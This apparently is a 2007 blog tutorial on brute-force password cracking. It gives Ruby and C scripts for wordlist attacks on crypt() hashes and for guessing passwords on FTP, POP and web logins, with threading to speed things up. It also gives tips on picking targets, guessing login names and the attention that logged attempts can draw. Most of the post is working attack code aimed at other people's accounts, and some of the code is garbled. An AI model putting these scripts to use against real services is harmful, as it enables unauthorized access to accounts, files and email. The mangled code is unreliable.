Thursday, November 8, 2007

Bruteforce Password Cracking

To begin, you need a wordlist file. Find yourself some wordlist files at and These will provide you with words that might be used as passwords. For example, contains a list of some 800+ commonly used passwords. You can join them with a "cat file1 >> file2" or "ruby -e '"file1", "a").write("file2", "r").read)'", substituting whatever your files' names are for file1 and file2.

Now you want to create a ruby program that can iterate through it, such as this:"wordlist", "r").each_line { |line| puts line }
What a piece of cake! In olden times, wordlists were often used to brute force passwd files. These passwd files contain uniquely encrypted passwords and were world readable. Now so-called "shadow" password files are often used, containing the actual encrypted passwords and only root can play with them. Anyhow, a wordlist would be iterated through and each word would be encrypted and then compared with encrypted password. This is done with the crypt function, which takes a password to encrypt and a two character salt. The salt is the first two characters of the stored password. Here is a miniature program to compare the encrypted password with an unencrypted word:

int main (int argc, char *argv[]) { return strcmp(argv[1], crypt(argv[2], argv[1]));}
Compile with -lcrypt and then run it like this:

$ gcc pwchk.c -lcrypt -o pwchk$ ./pwchk 2dqe5MP4ZMCQ a7f2f$ echo $?0
You can use it with your word list in ruby like this:

encrypted_password = "okDf3IrUDfDys""wordlist", "r").each_line do |line| system("./pwchk #{encrypted_password} #{line.chomp}") if $? == 0 puts line exit endend
If you did this with a wordlist containing the word, "password", you'd see the ruby program print it out. Okay, now the you probably aren't going to run across many passwd files these days, but, you'll certainly encounter some password protected logins for all sorts of online stuff. Let's take a look at how to crack http, ftp, and pop accounts. The assumption here is that you know (or can guess) a login name. Let's check out ftp servers first.

FTP servers are very often the way people get their web content to and from their websites. If you can crack into a website through the FTP route, you usually have complete access to all of their web pages, scripts, and stored data (such as password lists). Also, if they have a normal account on box, you'll have access to their home directories which can contain all sorts of goodies. This is especially the case if they're hosting an FTP server on their workstation.

First, find out what ISP is hosting their site or if they are hosting it themselves. Then research to figure out what the ftp server's name is. For example, Comcast home accounts are accessed through the server. If they own the domain name and especially if they are hosting it themselves, there is a good chance that it is just ftp.theirname.tld, or you can just ftp into www.theirname.tld.

Next, guess their login name. It is very likely to the same as some email address for the site. Also, look up their contact information on If they are being hosted by an ISP, you might be able to find out what their login name is based on the name of their site -- they might just use the domain name, for example. If they are self-hosting, look for e-mail addresses and even root. They might be republican enough to enable root access through FTP.

Once you've got some names to guess, your wordlist can get funky like this:

require 'net/ftp'"wordlist", "r").each_line do |line| begin'').login('gwbush', line.chomp) puts line
exit rescue Net::FTPPermError endend
Now, the thing is that this is slow. It might take a second per try, so if you're trying 1 million words, it could take 11 1/2 days to discover that the wordlist is bunk! :) To speed things up, let's distribute the accesses over 10 threads (modify the number of threads as you see fit):

require 'net/ftp'i, a = 0, []"wordlist", "r").each_line do |line| if i < 10 a.push( { begin'').login('gwbush', line.chomp) puts line exit rescue Net::FTPPermError end }) i += 1 else sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? i = 0 endenda.delete_if {|x| not x.alive?} while not a.empty?
Ah, ruby is so nice. Okay, now let's take a look at POP. You can harvest e-mail addys directly from webpages. The next step is figuring out what mail server handles the e-mail address. This is usually just mail.address.tld or, rarely, pop.address.tld. Sometimes it is just www.address.tld, as well. You might be able to find it with the dig or host, as well. Cracking it is just as easy as FTP (you can parallelize this the same way as above):

require 'net/pop'"wordlist", "r").each_line do |line| begin'').start('gwbush', line.chomp) puts line exit rescue Net::POPAuthenticationError endend
Wow! Simple! Now, our last example is how to crack those lovely web logins. This is more complex because we must understand what is being sent to web server, which will vary a lot except that it will almost always have a login/password to spoof. You will need to recreate what is sent by your browser on login. Depending on the complexity of the server software, you might have to include some or all of the additional variables sent by your browser. You must be especially careful with cookies.
Some sites, such as have a sequence of session-level cookies that must be carefully recreated. But, there are many sites out there with very easily cracked logins.

To find out what is being sent, I like to edit the page in place (with Mozilla, for example) or save and edit the login page locally and change the action field of the form to be "http://localhost:30000". Now try logging into your edited page after you start this script:

require 'socket'puts"localhost", 30000).accept.recv(16384)
If the method was GET you will actually see the important variables on the first line, like "GET /login.html?username=gwbush&password=nwo HTTP/1.1". On the other hand, if the scripts uses the POST method, the variables will be at the end of the script, again with keys connected to values with "=" and linked together with ampersands. This data needs to be reproduced as either a GET or POST client request and the result tested against a sample unsuccessful password attempt.

Let's look at how we do this for a GET request that looks for the login form in the returned HTML file:

require 'net/http'"wordlist", "r").each_line do |line| r, d =""). get("/login.cgi?username=gwbush&password="+line.chomp, nil) if not d.include? "action=\"login.cgi" puts line exit endend
Now, for a POST request we would just change a little like this:

require 'net/http'"wordlist", "r").each_line do |line| r, d =""). post("/login.cgi", "username=gwbush&password="+line.chomp") if not d.include? "action=\"login.cgi" puts line exit endend
Keep in mind that you probably need to reproduce all of the variables being presented. Cookies can be added as a second variable hash to get function, but, there doesn't seem to be a way to easily insert a "Cookie: x=1" style header when using HTTPRequest's post. In the case that you need these cookies, you might need to just treat it as a socket:

require 'socket's ="", 80)vars = "username=gwbush&password=nwo"cookies = "x=1"s.send("POST /login.cgi HTTP/1.1\r\n" + "Connection: close\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" + "Content-Length: #{vars.length}\r\n" + "Host:\r\n" + "Cookie: #{cookies}\r\n\r\n#{vars}", 0)puts "Cracked" if not s.recv(32770).include? "action=\"login.cgi"
Again, multithreading can speed this type of cracking by an order of magnitude. Servers will log your access attempts, and, for smaller servers the large access log size might be noticed, as could increased bandwidth. If they watch their stats go from 1000 hits a day to 200000, they will certainly look into it. What are most ripe are sites ran by technologically illiterate, lazy, or distracted webmasters. FTP is a much prettier target, overall, as the logs are often ignored and the prize is extremely sweet. POP marks are often pretty easy and allow for ample snooping possibilities.

Well, now you know some basic password bruteforce techniques. But, remember: use your knowledge for good, not evil. You will turn into dust one day, but, the echos of your actions will live on as happiness or sadness. Do what is right. Help those in need and stop injustice. Liberty, equality, solidarity!